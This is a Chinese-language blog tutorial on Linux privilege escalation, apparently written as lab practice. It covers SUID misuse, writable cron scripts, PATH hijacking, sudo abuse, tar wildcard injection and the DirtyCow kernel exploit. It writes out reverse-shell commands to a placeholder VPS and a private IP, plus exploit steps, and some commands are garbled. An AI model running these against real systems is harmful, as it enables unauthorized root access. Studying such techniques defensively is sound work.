网站建设中图片电话,dlog4j wordpress,seo创业,开发app的网站上一篇文章讲了Windows的提权#xff0c;那么这篇文章就来讲一下Linux的提权 1.SUID提权 suid权限 作用#xff1a;让普通用户临时拥有该文件的属主的执行权限#xff0c;suid权限只能应用在二进制可执行文件#xff08;命令#xff09;上#xff0c;而且suid权限只能设置…上一篇文章讲了Windows的提权那么这篇文章就来讲一下Linux的提权 1.SUID提权 suid权限 作用让普通用户临时拥有该文件的属主的执行权限suid权限只能应用在二进制可执行文件命令上而且suid权限只能设置在属主位置上。 举个栗子正常来说我们普通用户去查看shadow文件肯定是看不了的 正常来说肯定是没有权限如果管理员的错误配置给了cat一个suid权限 导致了普通的用户也能以root身份去执行cat命令是不是和suid有点相似 对于以下命令都是不能给suid权限的 那么我们就从黑客的视角来试一下提权
先用以下的命令来查看一下有没有错误的配置 find / -user root -perm -4000 -print 2/dev/null
成功发现了一个find的错误的配置
于是就可以尝试反弹shell了直接 先去开启一个nc监听
然后直接敲以下的命令就能成功弹shell
find /etc/passwd -exec bash -c bash -i /dev/tcp/VPS的ip/VPS的端口 01 \; 2.计划任务提权 在Linux系统中当我们需要在服务器上定时执行一些重复性的事件时使用的可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令在某个特定的时间运行。 计划任务在Linux 中一般使用 Crontab通过 crontab 命令我们可以在固定的间隔时间执行指定的系统指令或 Shell 脚本。 所以假设我是一个运维人员如果我想写一个脚本
#!/bin/bash
//我是逆天运维人员写一个运维脚本 然后不小心的chmod 777 了 很多我身边的人都是直接chmod 777 的 并且配置了计划任务
那么下面我们就用黑客视角来看看
先是是去查看一下计划任务 cat /etc/crontab
发现有一个逆天运维人员配置了一个计划任务 于是再去查看一下它的权限 看到这个就知道我们可以去弹shell了
echo bash -i /dev/tcp/192.168.246.1/9191 01 damn.sh
然后监听静待上线
看直接提权或者说弹了一个root身份的shell出来 3.环境变量劫持 PATH是Linux和类Unix操作系统中的环境变量类似Windows中的path环境变量当我们执行一个命令的时候shell会先去检查命令是否为系统内部的命令如果不是则会再去检查此命令是否是一个应用程序shell会试着从PATH中逐步的查找命令 其实这个感觉有点像SUID但是也不完全像why 继续往下看
假设我是一个逆天运维人员我想要去连续多次运行一些命令但是又很长那么我就将他变成一个exe每当我运行这个exe就是在执行我这个命令 然后编译成shell可执行文件 然后当我执行shell的时候就是直接在运行cat /etc/passwd 然后如果又不小心地给他设置了SUID 那么我们就可以环境变量劫持下面就是精彩的开始 我们的思路试能不能劫持它的cat变量因为它的的cat是以system去执行的而我们的环境变量cat又可以自己定义就导致了环境变量的劫持
黑客视角开始
假如我是一个黑客本来想着要suid提权但是误打误撞发现了一个不知道什么玩意 请忽略我的find的suid位那么我们就去试一下shell是个什么东西
发现好好好就你这个逆天运维直接给我运行了cat /etc/passwd对吧 然后我们再去看一下权限 suid位 就可以去考虑提权了下面才是精彩开始
首先我们去tmp目录下写一个环境变量
cd /tmp然后敲以下的代码
echo /bin/bash /tmp/cat 并且去将这个文件创建为一个新的环境变量
export PATH/tmp:$PATH
然后我们就能看见一个新的环境变量 然后从现在开始只要我执行cat命令就是在执行bash然后我们cd到根目录下
执行shell这里不能再去用cat查看shadow文件噢 因为cat已经被替换了 至此就已经完成了Linux的提权 不信非要我弹shell是吧
那行必须满足嘻嘻嘻嘻
4.sudo滥用
开始之前先去敲一下这个命令
sudo -l
如果你能看见这样的界面说明管理员很棒棒配置的不错 如果是这样那你还是换一个用户吧 好了不开玩笑了说一下sudo滥用吧 其中我们看见的格式如下 所以就能明白一些错误配置的意思了 这个就是losy这个身份允许被root用户去执行python3
那么怎么查看对应的配置呢?
cat /etc/sudoers /这里可以进行配置 那么什么命令不能给sudo呢这些命令给了就能提权还有tar..... 怎么提权呢 那么假设有这样的一个逆天环境 我们就能看见是所有人都可以用root权限去没有密码的执行sudo下的awk 直接提权
5.WS通配符注入提权
在Linux中通配符可以被用于模糊匹配并且通配符的输入是由当前用户的shell去进行解析 * 表示匹配任意数量的字符 表示匹配单个数量的字符 [] 表示匹配括号中的任意单个字符并且可以使用字符-来表示范围如[0-9] 有点云里雾里 没事。我们来举个栗子
touch 1.txt 2.txt 3.txt a.txt ab.txt abc.txt然后我们就能看见这样的文件 然后我们分别来演示一下以上提到的东西应该很浅显易懂吧 下面就是精彩的开始 我们先来看这样的命令
ls --help 正常来说是不是就会显示一些ls的帮助用法那如果我们这样呢
echo whoami127.0.0.1 --help
ls --help ///????????
那么这样bug是不是就要出来了到底是显示我们刚才创建的内容还是正常的显示help内容呢 嘻嘻嘻是是不是感觉cpu开始转起来了 我们来看一下事实情况
它最后还是显示了help的系统设置那么我们再来看这样的命令
ls *
这个的意思是不是就是查看当前文件夹的所有东西但是如果是上面的情况呢
ls 1.txt 2.txt 3.txt a.txt ab.txt abc.txt --help //等价于 ls *
是不是bug就出现了
所以相信聪明的各位已经大概懂了是什么意思了吧
那么下面我们就来举一个例子了
tar -czf 1.tgz 1.txt --checkpoint1 --checkpoint-actionexecwhoami
这一条命令是用于打包的并且是可以执行命令的所以这个的suid和sudo都不能给 那么假设有这样的一个场景有些管理员想要将/var/www/html目录下的源代码进行打包。那么就是如下的命令
tar -czf sourcecode.tgz sourcecode.txt这样就能将源代码进行备份防止源代码被串改然后写了个计划任务每分钟备份一次 */1 * * * * root tar -czf /home/wanli/source.tgz /var/www/html/ *写了这样的一个计划任务那么我们黑客在查看的时候发现了于是就能通配符提权
但是呢我只能说这个命令是有问题的如果你再本地直接运行那没问题肯定是能弹shell出去的 但是如果你用的是计划任务的话你就会发现它的计划任务执行了但是并没有弹shell出来 而且在新版的Linux系统上你直接创建--check-actionexec这样的文件也是会被引起来的直接失效了所以这个方法ennnnn不好评价
6.明文ROOT密码提权
如果我们能读到shadow文件那么我们就可能有机会能爆破出密码 假设我们能读到shadow这个文件 $后面就是它的加密方式
然后你找对应的爆破工具用就好不知道为什么我的join用不了难崩了
7.Linux内核提权
说了这么多的错误配置怎么可能少得了内核提权呢 主要是因为配置的话有一定的限制条件但是内核的话就不用考虑了直接提权
1.DirtyCow(CVE-2016-5195) 存在Linux内核中已经有长达9年的时间在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。 对于以下的版本都会有影响 即低于以下内核版本均存在该漏洞 Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1deb8u2 Debian 7 3.2.82-1 其实这个漏洞的原理就是通过内核溢出将原本不可以读或者写的文件进行覆写如将shadow文件进行覆写导致我们可以进行root登录
那么下面我们就来复现一下这个漏洞
首先我们能拿到这样的一个站点 然后发现它的框架存在漏洞于是就去msf利用一波
成功拿到meterpreter之后就要去查看权限了
很好权限很低而且能判断出来不是docker环境 所以我们就要去提权
upload /home/kali/Desktop/linux-exploit-suggester.sh
先上传一个检测工具来检测一下
chmod 777 rm -rf linux-exploit-suggester.sh //记得放权
./linux-exploit-suggester.sh
然后是能检测出一个脏牛漏洞于是开始提权 先把脏牛的poc传上去 然后解压放权一气呵成
unzip CVE-2016-5195-master.zip
chmod 777 CVE-2016-5195-master
然后记得编译
g -Wall -pedantic -O2 -stdc11 -pthread -o dcow dcow.cpp -lutil
然后直接运行就好
ssh上去就能拿到flag了 所以最后总结一下脏牛的原理就是 该漏洞具体为Linux内核的内存子系统在处理写入复制copy-on-write, COW时产生了竞争条件race condition。恶意用户可利用此漏洞来获取高权限对只读内存映射进行写访问。竞争条件指的是任务执行顺序异常可导致应用崩溃或令攻击者有机可乘进一步执行其他代码。利用这一漏洞攻击者可在其目标系统提升权限甚至可能获得root权限。 对于内核提权还有很多如果不知道
1.可以上传工具去扫
2.还可以这样先uname -a 查看一下内核版本 然后把对应的斑斑贴上去就好记得前面加一个linux